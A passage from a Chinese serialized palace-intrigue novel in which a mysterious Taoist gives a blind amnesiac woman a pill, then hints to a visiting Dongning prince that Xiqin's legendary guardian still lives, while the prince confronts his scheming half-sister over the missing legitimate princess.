女子闻之不解其意,正有意无意地缓缓转动着手腕上的什么物件蹙眉苦思冥想时,那青袍老道眼睛一撇,便顺势看到了女子手腕上的七彩金丝彩玉镯子。 随即从身上挎着的布袋里掏出来一个朱红色的小木匣,将其推到女子面前的石桌上,道“今夜能遇到小姐,也属缘份。贫道这儿有一粒还魂丹,用小姐手腕上的七彩金丝彩玉镯子将其研碎服下,能让小姐记起许多已经遗忘了的事。然却也会……” “会如何?”女子好奇地问。 青袍老道定了定神,答道“小姐将会遗忘心中一直以来的执念,亦是一份不该属于这一世的念想。当然,毋庸置疑,那的确也是小姐心里最极为珍贵的东西。吃与不吃,何去何从,如今就只在小姐一念之间的选择了。所以,其实忘记并不等于从未存在,一切自在来源于选择,而不是刻意。贫道建议小姐不如放手,方知放下的越多,便越会觉得自己拥有的更多。” 闻言,女子似是瞬间气息一窒,整个人都呆愣住了。 “真龙出海,灵空一统,凤凰涅,浴火重生,生既是死,死亦是生。”伴随着这段话,青袍老道缓缓起身来,走下了如梦亭的石阶,继而很快便消失在了一片茫茫漆黑的夜色当中。 就在这时,夜空中忽然遮云蔽月,淅淅沥沥地飘洒起细雨来,宛若这世间万物从此刻开始萌生起新芽了一般…… 女子正感青袍道长似是已经悄然离去,因为附近水车将河水不断舀起又倒掉所发出的声音,并未意识到下雨了。只兀自口中低声喃喃重复着“真龙出海,灵空一统,凤凰涅,浴火重生,生既是死,死亦是生……” 忽闻亭外不远处传来欢儿的声音,欢儿正踩着道上的雨水,将两只小手遮在头顶,一边朝着如梦亭疾跑,一边大声呼唤道“若曦,若曦……” “游灯走街的活动这么快便结束了?我还以为会到很晚呢?”女子笑着伸出一手去试图摸索着欢儿的方向,对其道。 欢儿的眼睛被雨水激的一时半会儿都似睁不开了一般,待稍微好些,正欲开口回应,然刚一碰到女子的手,她顺势往欢儿的手朝上一摸,那女子立刻大声惊叫道“哎呀,你的手和衣裳怎么都湿漉漉,冰冰凉凉的,不会是方才走桥的时候不小心被人群拥挤掉入了河里吧?不行,这会感冒的。走,我们赶快回家换上一套干衣裳。” 女子说着,便拉起欢儿的手心急如焚,跌跌撞撞地站起身来。 “若曦,若曦, 不碍事的。我不是掉落河里,而是这会儿外面下雨了。”欢儿这才连忙阻拦拽住她开口解释道。 女子的脸上忽然黯然下来“下雨了?…我什么都看不见,竟还当成了你所说的一直都存在于身旁的水车所发出的声音。” 见此,欢儿忙安慰其道“没事的,没事的,不要着急,我们慢慢来,总会好起来的。” 一边说着,一边将女子扶着坐下,自己亦落座下来。 女子坐下后,似是又陷入了一种莫名又复杂的沉思之中,忽然听到身旁的欢儿发出一阵连连打喷嚏的声音“阿嚏,阿嚏……” 女子这才急急缓过神来,忙摸索着解开了自己身上的披风,又摸索着将其递给了欢儿。 欢儿忙推手向其拒绝道“不用,若曦,我没事的,你刚醒,身上又还带着伤,若是再感冒了,怕是要更难恢复了。” 女子笑着对其摇了摇头,终还是坚持着将披风为其披到了身上,这才安心地坐了下来,开口问道“对了,欢儿,方才你有没有看到一位道长?或者,在这桃花店村里有没有道长呢?” 挠了挠自己的脑袋,思索片刻,欢儿答道“欢儿从未听闻过村里有什么道人出没啊。” 闻此,女子正在纳闷,欢儿却眼睛一亮,一把拿起摆在女子面前的朱红色匣子,好奇地问“这是什么?” 女子这才回过神来,定了定心,吸了口气,开口对其说道“这是一粒还魂丹,方才有位道长经过此地,在此歇脚赠的,说对我的失忆症大有裨益。” 欢儿将匣子轻轻地打开来,看着里面红布垫底放着的一粒药丸,满脸质疑道“道长所赠?若曦你确定这位道长的话可信?这药能吃?我可是从未听说过这村子里竟还有什么道长出没啊。该不会…是个骗子,又或者是你之前的仇家寻上了门,来杀你灭口的吧?糟了,一定是你的仇人寻来了,你不能再呆在这里了,快跑……” 话还没说完,欢儿竟自己先吓唬起自己来,赶忙将那匣子合上扔到一边,忽的起身来焦急万分道。 女子则一脸淡定地笑着,对其解释道“欢儿你不要这样激动,若真如你所言,他是我失忆之前的仇人,那当时这如梦亭里只有我二人,他完全有一百一千种方法易如反掌便能当即取了我的性命,又何苦要如此大费周章,故弄玄虚呢?” “若曦你说的也是,那他究竟会是谁呢……” 闻此,欢儿终于安静了下来,正欲继续猜测下去,女子摸索着将匣子收了起来,打断欢儿的话道“算了,反正我也没打算吃这药丸,是药三分毒,或许正如你所说的,我只是因为头上的伤尚未痊愈,方才记不起自己的过往来。或许日子久了,又或者等伤口好了,我的记忆便会全都恢复了,也未尝不可呢,对吧?我怎么觉得,这会子头上的伤似是真的已经一点儿也不难受了呢?” 女子说完,瞬间真觉得如此,心中竟有些纳闷不解。然欢儿此时似是根本没有听到女子的话,依旧沉浸在自己的猜测之中。 女子半晌等不到她的回应,却忽闻耳旁的水声似是没有刚才 那般大了,便摸索着晃了晃欢儿的胳膊,问“是不是雨已经停了,若是停了,我们赶紧回家给你换套干爽的衣裳吧。这夜里,更深露重的,小心着了凉。到时候,还要我一个瞎子照顾你呢!” 欢儿这才忙回过神来,朝着凉亭外瞥了一眼,惊喜道“若曦你好厉害啊,如今竟都能听出是雨停了。” 女子淡淡地笑了笑,俩人便一起互相搀扶着,缓缓踱步回了家去。 城南,城隍庙里。 正月十五元宵节,无疑又是一个香火颇为鼎盛的日子,来往信徒络绎不绝。 梅汐媛的大驾一早到了庙里,稍作调整和歇息便被安排着沐浴净身,进行了一场甚为虔诚的祈福仪式,并在大师的指导下供奉了俩盏光明灯。 天下庙宇里的膳食,自是都是千篇一律的素斋,毫无半点荤腥。打一生下来便习惯了往日里的锦衣玉食的她,对着膳桌上的食物皆都是索然无味,不得已也只能稍微垫了垫腹。 此时,夜色月影,一副甚是生动绝美的水墨丹青。若是放在平日,娇贵的公主在经过如此一番折腾后,定是早已疲惫不堪地被伺候着歇了下来。 然今夜,她自是丝毫睡意全无,满腹的心事重重。不辞辛苦长途跋涉至此,她的目的可并不单单只是为了这场虚无缥缈的祈福而已。 此刻,她正一脸黯然地歪靠在肃静的房间里,腹中的饥饿与心里对接下来即将要发生的事让她深感心烦意乱,饱受煎熬,赵嬷嬷正在一旁陪其排解,压低了声音说道“纵使天大的事情,王妃娘娘也莫要太悲观了。不战而败,可不是王妃一贯的作风啊。” “赵嬷嬷,如果那个丫头...她真的是嫡公主的话,那本王妃究竟该如何是好?其实...因为嫡母后生前待本王妃尚还不错的关系,本王妃心底终还是有一丝顾虑的。可为了母后和自己至高无上的荣耀,本王妃又不得不……”梅汐媛深深地叹了口气,欲言又止道。 闻此,赵嬷嬷的心里忽然咯噔一下,自从梅汐媛答应其母后离开东宁前来和亲的那一刻,便注定已是箭在弦上,不得不发。却不想,梅汐媛的心里竟还藏有些根本不该有的顾虑和仁慈。 待她一回过神来便吃惊地道“王妃娘娘,事情已经到了这个时候,您可千万不能存有妇人之仁,致使咱们所有的努力全都前功尽弃了啊。王妃娘娘必须时刻清醒的牢记‘对敌人的仁慈,便是对自己的残忍’,只有自己变得真正强大起来,才有资格主宰一切。” 几乎是忿忿地将话刚一说完,却看着梅汐媛一脸的无动于衷与黯然神伤,想应该是她此时太过于紧张所致,赵嬷嬷转口又委婉地安慰起来道“娘娘不必过于紧张,诸事皆都‘车到山前必有路’,无论如何,老奴一定会竭尽所能帮助娘娘的,娘娘尽管安心便是。且先看今夜三皇子殿下到底如何绸缪,是何说辞,对那丫头是嫡公主的身份又有几分把握?剩下的,咱们回去王府里再慢慢商议。王妃娘娘谨记,无论怎么样,都还轮不到咱们亲自动手。” “咚咚咚”就在这时,一阵缓缓的叩门声忽然响起。 第二百三十二章:永远无人可取代的两个身份 主仆俩正在说话间,一阵缓缓的叩门声忽然响起,将俩人尚还未结束的话题打断“咚咚咚”。 闻声,俩人顿时眼睛四目相对着一怔,片刻后赵嬷嬷一回过神来对梅汐媛点了点头暗示其务必要镇定自若,继而赶忙踱步出去开门。 里屋的梅汐媛只听闻到极为恭敬的一声“老奴参见三皇子殿下!” 紧接着便见一素来温润如玉的翩翩白衣男子,今夜却一脸严肃,甚至貌似还有些怒气冲冲地大步流星夺门而入。 一见来人脸上的表情似是有些极为罕见的不正常,梅汐媛即刻起身来小心翼翼地朝其近身过去欠身行礼,故作一脸欣喜地激动道“皇兄,你终于来了,汐儿终于再见到皇兄了!许久未见,不知皇兄近来在西秦国里一切都可好?” 梅汐媛说着,对紧随梅志煊其后进来的赵嬷嬷使了个眼色,赵嬷嬷随之便意会着悄悄地退出了门去将门轻轻掩上,又退去了原本守门的所有下人,亲自在房门外面为其把风起来。 此时,终于恢复了一室寂静下来。 “啪”忽然,一记重重的耳光狠狠地拍在了梅汐媛的脸上,那高贵白皙的一张小脸顿时清晰地映出了红红的五根手指印来。 “皇兄,你……”这一记巴掌来的太过于突然,显然让她猝不及防,忙伸手捂住自己发烫的脸,一脸惊诧地看着梅志煊道。 “怎么?你对此觉得甚为始料不及,觉得自己很委屈,很冤枉吗?”梅志煊单手负后,皱着眉头吸了口气,侧身对她说道。 梅汐媛独自隐忍了太久,面对着从小一起长大的梅志煊,终于放下了心里的许多防备。 此时,她心头自己在西秦国秦王府里受到的所有不公和委屈及痛苦瞬间一齐蜂拥而上,眼角的泪水终于不必隐忍,也终是忍不住瞬间滑落,哭着对其黯然地苦道“皇兄,你知道,从小到大,你我虽并非一母所出,可汐儿与皇兄,远比要和自己的亲皇兄更为亲近,皇兄你也一向对汐儿疼爱有加,汐儿敬你爱你。但今日,皇兄为何如此震怒,竟第一次出手打汐儿,汐儿不明白自己究竟做错了什么,犯下怎样的弥天大错?还请皇兄明示。” 闻此,梅志煊冷笑一声,依旧不看她的脸,道“哼...本皇子的皇妹汐儿,她从小天真烂漫,乖巧善良。虽然时而也有些刁蛮任性,偶也会发些公主脾气,但无论如何,绝不会是今日这般如此无情无义,心狠手辣之人。难道是这西秦秦王府的不良风气将汐儿熏染了,亦或是本皇子根本就从来都不曾认清过你?如若是这样...吾愿从来都不曾认识过你。” 梅汐媛此时,似是仍旧不太明白梅志煊所言,捂着发红的脸道“皇兄此话究竟为何意?为何今日对汐儿所言,变得如此拐弯抹角地飘渺至极,皇兄对汐儿,可是一向都不如此的啊?” 梅志煊厉声怒道“哼...那是本皇子对 以前在东宁皇宫里的汐儿,可汐儿却是今非昔比了。如今的汐儿,已然是翅膀硬了,觉得自己已经可独自翱翔于蓝天之巅,不需要任何人的帮衬了,不是么?” 梅汐媛急道“不...汐儿从未变过,也从未敢如此认为。皇兄若是有话,还请明讲。” “好,事到如今,既然你今夜非要跟本皇子装糊涂,那本皇子就好好让你回忆回忆清楚自己的身份?” 梅志煊说完,深吸了口气,终于转过身来,看着梅汐媛的眼睛,认真地问道“你的母后,她可是我东宁国独一无二的嫡皇后?” “母后...她只是东宁国的一名继后...可母后她的地位与身份依然尊贵不减半分。”梅汐媛这番从低到高的言语里,自是有些无奈的坚持。 梅志煊略感庆幸地说道“还好你还记得你的母后仅是我东宁的一名继后,既然是继后,便可一而再,再而三…不管今日是谁,明日又是哪个,都永远只是继后而已。那么,你可还记得已故的嫡皇后是如何待你的?” 梅汐媛回忆着,静静地说道“嫡皇后她待汐儿,宛若己出。汐儿要什么,嫡皇后便给汐儿什么,从不让汐儿受半点委屈,甚至比汐儿的生母...还要好。” 梅汐媛说着说着,不由自主地便低下了头去。 梅志煊朝其怒瞪了一眼,幽幽道“当年,你的亲皇兄凌辱你宫里的一名新进宫女,逼的那个可怜的弱势女子最后走投无路,悬梁自尽,后来,更是被有心人告到了父皇面前。父皇震怒,责怪下来,你那恶贯满盈,十恶不赦的荒淫至极的皇兄,却将所有罪责都推到了你的身上,污蔑说是你虐待宫女,将其致死。最后,又是谁帮你查明真相,还你清白的?” “是...嫡母后。”梅汐媛又道。 梅志煊叹道“是啊,那时候嫡母后刚身怀有孕,处于孕初尚且还不足三月之时,自身本就危险,可她依然不怕为你母子三人所牵连与负累,不顾所有人的反对,跪在大殿里求父皇,逼得父皇不得不答应给她三日时间。若是在规定的三日之期内查不清楚事实的真相,找不到证据。便要承担与你一同被打入冷宫的罪责,那个时候,你的生生母亲,她又在哪里?她又为你做了什么?她只远远地躲在一边,唯只怕此事连累了自己,毁了自己的大好前程,恨不得嫡母后因此而彻底失宠,她好借此上位称后。” 见到梅汐媛已然低着头,似是陷入回忆里再也无话可说了。梅志煊忽然提高了嗓门,对其忿忿道“你明知道我所说的那疑是为嫡母后留在这个世上唯一的血脉,现如今的身份?你心里很清楚在哪里可以找到她?却为何一直故意推辞着,迟迟不去确认她?” 梅汐媛这才回过神来,缓缓背过气去,却依旧执迷不悟地坚持出声说道“皇兄,汐儿真的还未查出皇兄所说的那个遮着面纱的女子的真正身份?她是那个西秦公主身边 的人,那个西秦公主骄傲又自大,目中无人,根本不好接近,更是不容易打探到什么消息?而且,秦王终日不在府中,甚少带汐儿入宫,那女子她可是西秦宫里的人啊,不去宫里,汐儿又怎能问出一二来?” 梅志煊侧对着其背影一边听着,一边轻笑着不住地摇头,自从听闻了城西衣府那赵记茶馆的掌柜对自己所说的一切,他便与安插在西秦皇宫里多年的细作碰头,让其帮他查清楚证实了衣上云在宫里所发生的一切。 此时,他负于身后的一只手紧紧地握拳着,只待梅汐媛话音一落,便当即爆发对其大喝道“事到如今,你还在欺瞒本皇子。本皇子问你,你是不是进宫跟那西秦皇帝要了一个医女回府?那名医女是不是叫做衣上云?她现在的身份是宫里御药房的大药师衣上坤家的嫡长女,家住城西衣府,因为那西秦公主和亲的事,被西秦帝雪地里罚跪……这些你也都知道,是不是?” 梅汐媛听闻此话,忽的转过头来眼睛对着梅志煊顿时一怔,大惊失色,瞬间脸上一片苍白。此时,已不必她任何言语,梅志煊便已从其脸上得到了所有的答案。 他长长地舒了口气,淡淡地说道“你背着我如此行动,究竟意欲何为?” “我……”梅汐媛满口的不能说,亦说不得。 梅志煊看着此时的梅汐媛失望极了,也伤心极了。因为他的身份在城南时候唯恐被人发现,本欲回到东苑里再重新从长计议。岂料半途中,却终是不放心,便挺而走险地再次折了回去,不想却得知万娇阁里刚刚发生了一场大变故,又追踪着衣上云的踪迹,没想到刚到北山,便见到了衣上云连同轩辕翰一起坠崖的那最后一幕。 思及此,他心中的伤痛似是再也隐忍不住了,朝其狠狠道“别以为本皇子不知道你心里打的什么主意,可不管你打的什么主意,你都将不会得逞。嫡母后她们母女的身份,灵空大陆富甲一方的东宁国嫡皇后和嫡公主,这俩个尊贵至极的身份,永远都无人可以取代,即使...即使她们都已经不在了,嫡母后永远是我东宁国的嫡皇后,而只有她的血脉,才配是我东宁国永远的嫡公主。难道你就不怕夜里嫡母后在天有灵,来找你算账吗?你明知道那可能是嫡母后留在这个世上唯一的血脉,你怎能如此狠心?如今,她在城南北山上坠落悬崖,生死不明,这下你满意了?” 不想一向如此温润,风度翩翩的三皇兄今日竟如此这般大发雷霆。然听了这段话,梅汐媛一时间里似是都窒息了一般顿了下来,瞪大了眼睛,怔怔地看着梅志煊的眼睛,吃惊地道“她死了?” “秦王不是早已经回府了吗?难道你到现在竟还都不知道发生了什么事?”梅志煊亦同样吃惊道。 “我…我不知道她……”梅汐媛眼睛扑朔着,愣愣地道。 梅志煊闻言,很快便将其剩余的话噎了回去,道…… 第二百三十三章:城隍庙里迎贵客 “我…我不知道她……”听闻梅志煊今夜带来的这个颇令人震惊的消息,梅汐媛此刻的眼睛扑朔了两下,惊呆了,愣愣地道。 岂料她话刚一出口,梅志煊很快便将其剩余的话通通都噎了回去,打断道“不,她没死,她一定没死,她是嫡母后的血脉,是我东宁国皇族之后,有诸位列祖列宗在天之灵的庇护,她不会那么容易便死去,她绝不会死,她一定还活着。当时,本皇子也以为她和那秦王一起坠崖,定是都死定了,可后来追随他那副将,才发现秦王竟还活着,而她却……” 话已至此,梅志煊似是都不忍心再继续说下去,转念只盯着她的眼睛极其严肃认真地道“这次来,本皇子就是要亲口郑重地警告你一句:日后,你若是再敢违抗命令,从中捣鬼,休怪本皇子不顾念以往的兄妹情分,将你的所作所为上告父皇。你应该知道,在父皇的眼里,嫡母后和她的血脉有多重要!” 气势汹汹地说完这最后一句,梅志煊冷哼一声,继而毫不犹豫地佛袖离去。 “皇兄,皇兄……”梅汐媛蓦然回过神来,紧忙上前追了两步,岂料梅志煊果真再也没有回头来看她一眼。 望着梅志煊一脸决绝,忿忿离去的背影,原本一副冰肌玉骨、眉目如画、美若天仙。精致的一张小脸上两处甜甜的小酒窝,眉心还长着一颗世间少有灵气逼人的红色美人痣,一双满载星河的炯目,一颦一笑,顾盼生辉的梅汐媛,其平日里脸上的骄傲得意之色早已荡然无存。 此刻,她瞬间无力地瘫坐在了地上,眼里只有满满的泪水,似是颇为无可奈何地默默致歉道“对不起...嫡母后,对不起……” “老奴恭送三皇子殿下!”伴随着这一声恭送,赵嬷嬷急急走了进来,远远地一看到瘫坐在冰冷的地上的梅汐媛一脸迷茫和黯然,伤心欲绝的样子,忙上前去将其扶住关切道“王妃娘娘这是怎么了?这是怎么了啊?” “赵嬷嬷,她死了,她死了!呜呜呜……”听到赵嬷嬷的声音,心里满是五味杂陈着的梅汐媛,突然一把紧紧地抱住了她,嚎啕大哭起来。 一直以来,因为夺爱之恨让她成了一个有名无实的秦王妃,致使她在秦王府众人面前颜面尽失,自己处心积虑地谋划了那么多对付衣上云的法子。 在得知梅志煊已亲自调查过,如今已更肯定那衣上云身世的时候,尽管自己心里一直以来也已做了那么多铺垫,可如今,忽然得知了她的死讯,不想她心里却会如此这般的难受。 是啊,那毕竟是这个世上唯一真心实意,纯粹地疼爱过她一场的嫡母后的唯一血脉! 从始至终,她只想将她从秦王的世界中驱赶出去,还他一个完整的夫君,可却从未曾想过要她的命啊。她甚至都曾想,如果她若能答应就此隐姓埋名地过一生,不 影响到她们母女如今的地位和生活,她甚至可以违抗其母后的命令,她要什么,她都会答应她…… 可是,她竟然死了,她竟然就这样死了…… 赵嬷嬷守在门外,对于屋内的谈话听得并不十分清楚,只是偶尔听到梅志煊的几声呵斥声而已。 此时,她只能一边轻抚着梅汐媛的后背,一边心疼地安慰其道“哭吧,哭吧,哭出来后,就都好了。” 梅汐媛伤心地趴在赵嬷嬷的肩上,梨花带雨地哽咽道“嬷嬷,皇兄说她死了,她竟然坠崖死了,我没想要她死,真的没想要她死。我是不是做错了,如果我能早点做些什么,或许她便不至于像如今这般,枉送掉自己的性命。” 赵嬷嬷一边继续轻抚着她的后背,一边叹息道“这不是你的错,这是老天的错。谁让你生在帝王家?谁让你身为陛下和皇后共同的女儿呢?陛下要你全力配合三皇子殿下,寻回失踪了的嫡公主和传说于整个灵空大陆的关于西秦国的那股神秘力量;而皇后却让你杀了嫡公主,永绝后患,帮那羽翼渐丰的秦王称帝,做西秦的嫡皇后,弥补她此生最大的遗憾。唉,你这一生,注定是永远都做不了自己,真是难为你了,可怜的孩子……” 赵嬷嬷的言语里满是心疼和无奈,梅汐媛紧紧地抱着她一边心碎地哭泣着,一边无力地终于缓缓闭起了那双倾国倾城的明眸来,两行晶莹的泪水顺着她姣好的脸庞悄悄滑落。 梅志煊怒气冲冲地迈起大步刚走至快到城隍庙的大门之处,忽然似是从天而降一位一袭青色道袍的老道儿,身上挎着一个布袋,年近六旬,满脸白须,一手举着块“算命卜卦”的布幡,另一手拿着一铜铃铛的。刚好挡在其面前,拦住了他的去路。 深更半夜,如此诡异地瞬间现身于他的面前,虽然有些惊讶,亦因为许多事心中本就有些气恼,但他还是隐忍着朝其恭敬地行礼问候道“道长好,夜如此深了,道长怎么还未歇息?” 青袍老道对其微笑着,捋了捋那撮白色短须,悠悠道“贫道近日算出,今日深夜时分,城隍庙里将有异邦的贵人降临,特此赶来拜见。” “异邦的贵人?”梅志煊闻之半眯起炯目,心里顿时一愣,重复问道。 “正是,贫道口中所说的‘异邦的贵人’正是公子您,东宁国温润如玉却最是英勇善战的三皇子殿下。”青袍老道将话挑明了道。 梅志煊听了心里瞬间一震,怔怔地注视着那青袍老道的眼睛问“道长是怎么知道本皇子身份的?” 青袍老道笑了笑,接着更加神秘地说道“贫道不仅知道三皇子殿下的身份,还知道三皇子的劫数,不知殿下可有兴趣让贫道帮您算一卦?” “境由心造,本皇子不信这些,本皇子倒是更相信‘事在人为’。夜深了,有劳道长白跑了一 趟,多谢。本皇子尚还有要事要办,恕不奉陪,告辞!”梅志煊说着,便抱拳向其道别,转身离去。 青袍老道依旧只轻笑了一声,背对着梅志煊离去的背影,道“三皇子远道而来西秦,莫非也是冲着守护西秦的那股神秘力量而来的吧?” 梅志煊听闻此话,猛地转头过来惊问道“天下皆传说,西秦皇族的每一代帝王都有个神秘的守护者,他们世世代代以单脉相传,具有天下最神奇珍贵的血统,誓死守护西秦天子;传闻只要其守护者有后人存在,西秦国便永生,不死不灭;更有人说,得此后人者得天下……不知道长所说的是不是这个神秘力量?” 至此,青袍老道方才再次缓缓转过身来,朝其依旧微笑着点点头。 “本皇子听闻传说中西秦的守护者,那股神秘力量,难道如今不只是剩下了一个幌子吗?道长游历四方,难道没有看到如今的西秦国天灾**到处四起,早已不是以前的西秦国了么?帝昏晕无道,苛捐杂税致使百姓民不聊生,虽说这些年有灵空战神秦王的守护,但仅凭他一人,哼,又怎敌得过我富甲一方的东宁国实力……这片大陆,很快,便将全部都属于我东宁的领土,势不可挡。”梅志煊脸上露出一丝得意之色,信誓旦旦地说道。 “那贫道请问,既然东宁国实力如此雄厚,为何东宁国君至今都不赞同三皇子殿下向西秦国发出一兵一卒呢?反而还让东宁国最尊贵的永乐公主和亲到此。难道不是因为对西秦的那股神秘力量的忌惮?又或者…莫非是东宁国君交给了三皇子殿下和永乐公主一些很重要的任务?比如说…除此之外,还要找回17年前贵国遗失在西秦国境内的嫡公主。”青袍道长字字见血,句句铿锵道。 “你…这些你都是从哪里得知的?”闻此,梅志煊即刻朝其瞪大了眼睛,心里震惊极了,眼前这个青袍老道到底是什么人,怎么会知道东宁国如此隐秘的事情,不…他甚至可以说是对东宁国的一切了如指掌。 俩人一时间里四目相对着愣了半晌后,梅志煊深深地吸了口气又将其吐出,继续道“没错,本皇子是听说过关于西秦守护者的传闻。说他们本是追随西秦先祖开疆辟土最忠诚的一族人,世世代代皆誓死守护西秦天子。却在18年前因西秦国的一场内乱惨遭全族灭顶之灾,仅留下一个15岁的孤女。听说出落得美若仙人一般,西秦皇帝对其尤为怜爱,便欲将其纳入后宫,却不料在入宫的途中坠崖身亡。试问道长,既然如此,那我东宁国还有什么好忌惮的?本皇子正打算将寻找守护者的结果向父皇呈上。” “哦,是吗?贫道原以为三皇子会和世上的那些凡夫俗子有所不同,岂料三皇子竟也相信那守护者这么容易便从这个世上消逝了?”青袍道长挑眉说道。 “难道…道长的意思是……” 第二百三十四章:兵行险招 俩人一时间里四目相对着愣了半晌后,梅志煊深深地吸了口气又将其吐出,道“没错,本皇子是听说过关于西秦守护者的传闻。说他们本是追随西秦先祖开疆辟土最忠诚的一族人,世世代代皆誓死守护西秦天子。却在18年前因西秦国的一场内乱惨遭全族灭顶之灾,仅留下一个15岁的孤女。听说出落得美若仙人一般,西秦皇帝对其尤为怜爱,便欲将其纳入后宫,却不料在入宫的途中坠崖身亡。试问道长,既然如此,那我东宁国还有什么好忌惮的?本皇子正打算将寻找守护者的结果向父皇呈上。” “哦,是吗?贫道原以为东宁三皇子会和世上的那些凡夫俗子有所不同,岂料三皇子竟也相信那守护者这么容易便会从这个世上消逝?”青袍道长挑眉说道。 “难道…莫非道长的意思是……”梅志煊闻之惊呆了。 片刻后,只见他缓缓地低下眼来,心想:今夜这个突然神秘现身的青袍老道此时的言外之意,不就是说那西秦国的神秘守护者尚还在人世么? 莫不是...是这西秦国里有人故意放出去的风,说守护者已死,想要使灵空各国对其放松警惕,从而酝酿一场极大的阴谋,那阴谋是…… 思及此,梅志煊忽然心里咯噔一下,似是瞬间就连心跳都停止了一般。原来自己真的是有些自负情敌了,差点儿险些酿成了大错。 他惊恐地抬起眼来凝视着面前那青袍老道的脸,一再地琢磨:若真如他所说,那守护者尚还在世,那为何这些年以来,西秦国又会如此多灾多难,再也不见了以往的太平盛世,国泰民安了呢?如果连此也是西秦国对外所使出的障眼之法,那代价未免也有些太高了吧! 他仔细地将此时眼前这料事如神的青袍老道打量了一次又一次,可一想到他对东宁国皇室里的诸多秘事,如此了如指掌的样子,并不像是在诓骗他。 所谓‘兵不厌诈’‘小心能驶万年船’,看来,无论如何,他眼下所有的计划被迫又都要停滞下来了。 想着想着,似是在他的心里已然有了决定和新的计划,只见他那张精致的轮廓上,两道浓密的眉毛瞬间似是都拧了起来,一双骨节分明的大手亦跟着渐渐紧紧地握了起来。 此时的梅志煊自是无论如何也都想不到,这些年,令人放出各种谣言,传说关于西秦守护者的事情,正是屹立于他眼前的这位青袍老道所为。 那一年,先帝遭人蛊惑不听群臣谏言,一意孤行硬要纳守护者遗孤为妃。入宫途中,又遭奸人设计,不慎坠落悬崖。 当时起初,确实他也以为那名遗孤在入宫的半途中是真的坠崖身亡了。可后来,他又反复地仔细琢磨,想着守护者虽向来都以单脉相传,却是生生不息,不可能这么轻易便死去。他实在不忍心接受如此残酷的事实,便亲自下到山崖底去验证,果然未见其半分尸首。 所以,他独自坐在崖底三天三夜,不眠不休地苦思冥想,便想出了‘破 釜沉舟’这样的一计来。 虽是兵行险招,此计一旦被人识破,其他各国便会蜂拥般地趁虚而入,西秦便会因此而陷入四面楚歌的亡国境地。 但他相信,此消息一出,更多极为忌惮这股太过于强大,且又都想据之为己有力量的人,为了保险起见,定会先对此消息来源以及其真假情况一探究竟。而此时,无疑便等于整个灵空大陆所有的势力都在帮他寻找守护者的踪迹。 ‘功夫不负有心人’果然不出他所料,直到17年前,突然有一天,那位听到了消息而归来西秦的守护者孤女,已然成了一位即将要临盆的妇人,而且摇身一变,竟成了富甲一方的东宁国身份尊贵的嫡皇后,带着众多随从,自己找上了门来,并出现在城隍庙他的面前。 经过询问,他这才知道,上天保佑,她落入悬崖后并没有死,但却失忆了。且随着东宁国落叶归根归乡的商人流落到了东宁国,并凭其超凡的医术解救了东宁国一场近乎于是亡国的瘟疫浩劫,得到东宁国君的大加赞许和宠幸,且入了宫,受到了身为一个女子最至高无上的册封。 那一年,守护者在东宁皇宫里无疑中听到有人在朝堂上谈及西秦守护者已不复存在,西秦子民生活于水深火热之中的消息。不知为何,忽然脑袋像是炸开了一般,随即便蓦然恢复了记忆。 然在青袍老道听闻之后,感觉她却更像是感应到了西秦天子身处于危急时刻的用心召唤,便毫不犹豫地决定回来誓死履行自己的使命。 于是,她便不顾自己和腹中胎儿的安危,长途跋涉地赶回到西秦国来见先帝最后一面。 就在梅志煊沉思之际,那青袍老道忽然轻笑一声摇了摇头,继而转过身去一边朝禅院里走去,一边兀自幽幽说道“真龙出海,灵空一统,凤凰涅,浴火重生,生既是死,死亦是生。” “真龙出海,灵空一统,凤凰涅,浴火重生,生既是死,死亦是生。”闻此,梅志煊口中默默地跟随其后重复了一遍。 稍作沉思,梅志煊忽然主动要求说道“道长,帮本皇子卜一卦吧,本皇子只想知道……” 说着,猛一抬起头来,那青袍老道却似是像人间蒸发了一般,早已不见了踪影。 只有周围的一片寂静,夜色如墨般漆黑,就在这时,忽然再次诡异地响起了青袍老道的声音“小店桃花红粉姿,陌头杨柳绿烟丝。” “‘小店桃花红粉姿,陌头杨柳绿烟丝。’道长此话为何意?本皇子只想知道我东宁国多年前遗失在西秦的嫡公主的下落,方才本皇子有眼不识泰山,对不起。还望道长海涵,帮忙指点迷津,不甚感激,本皇子愿意付出任何代价。”然任其此时再多的诚恳与哀求,至此,那老道已然再也没了任何回应。 梅志煊难得一见地垂首失落着走出了城隍庙的大门。 对于今夜在此所发生的一切,听到的一切,感觉竟像是在睡梦中一般。此时,他一边迈步 ,一边细细地琢磨思量着。 侍卫见其终于出来,但却一张本温润如玉的脸色,此刻竟显得极其难得的尤为难看,便连忙上前去小心翼翼地问道“殿下,发生了何事?” 闻声,梅志煊这才回过神来,却问道“要发回呈给父皇关于寻找西秦守护者最终结果的密信,可有都已经拟好了?” 侍卫一脸欣喜道“已经拟好了,是不是立刻就发?相信陛下看了,这次一定不会再反对殿下出兵了。这一刻,我们已经等了太久了。” 梅志煊长长的舒了口气,道“要发,但是不是这份请求起兵的。” “那是?”侍卫听了,顿时卸去了脸上的笑容,朝其顿足惊声问道。 梅志煊亦停下了脚步,侧身对着侍卫,咬了咬牙,道“重新拟订一份书信给父皇,就说本皇子…答应迎娶西秦公主,请父皇尽早安排吧。” 侍卫一听,顿时扬起声来激动地道“殿下这是为何?婚姻大事,岂非儿戏?殿下不是一直都拒绝政治联姻,宁缺毋滥么?即便是真要找,至少也得找个朝中可以帮衬殿下的权臣贵女啊?” “可以帮衬本皇子的权臣贵女……不必再多说了,立刻命人去办吧,越快越好。”梅志煊默默地坚持道。 他在心中暗暗地嘀咕着,这个公主听说是帝的心头肉,一定知道很多关于西秦天子守护者的事情。 梅汐媛已至西秦这么久,竟连那西秦秦王的行踪都搞不清楚,看来,要成大事,她是万万靠不住的。 这次,若不是她从中作梗,迟迟不服从命令配合寻人,嫡公主也不会遭遇此劫难。 哼…西秦皇帝,这个公主,可是你们自己送上门来的,休怪本皇子对她不客气…… “是,属下明白。”一边接过侍卫手中递上来的缰绳,兀自与其一起翻上马背,策马奔驰着进到了市井上的一片浓浓夜色当中。 就在二人刚刚策马离去,从城隍庙的大门里又走出一身着一袭紫红色棉袍,三千墨发以一只精致的簪子半束着,两鬓间还有两缕微带蜷曲的青丝洋洋洒洒地垂下来,时不时供他以手把玩。长着一对如十里春风般温暖的桃花眼,浑身散发出的尽是随性与恣意的妖艳男子。 他一手撩起袍角,急急沿着门口的石阶追了下来,站在道路中央,半眯起那双妖艳的桃花眼来呆呆地凝视着其渐渐消失在夜色当中的背影,口中低声喃喃念叨着。 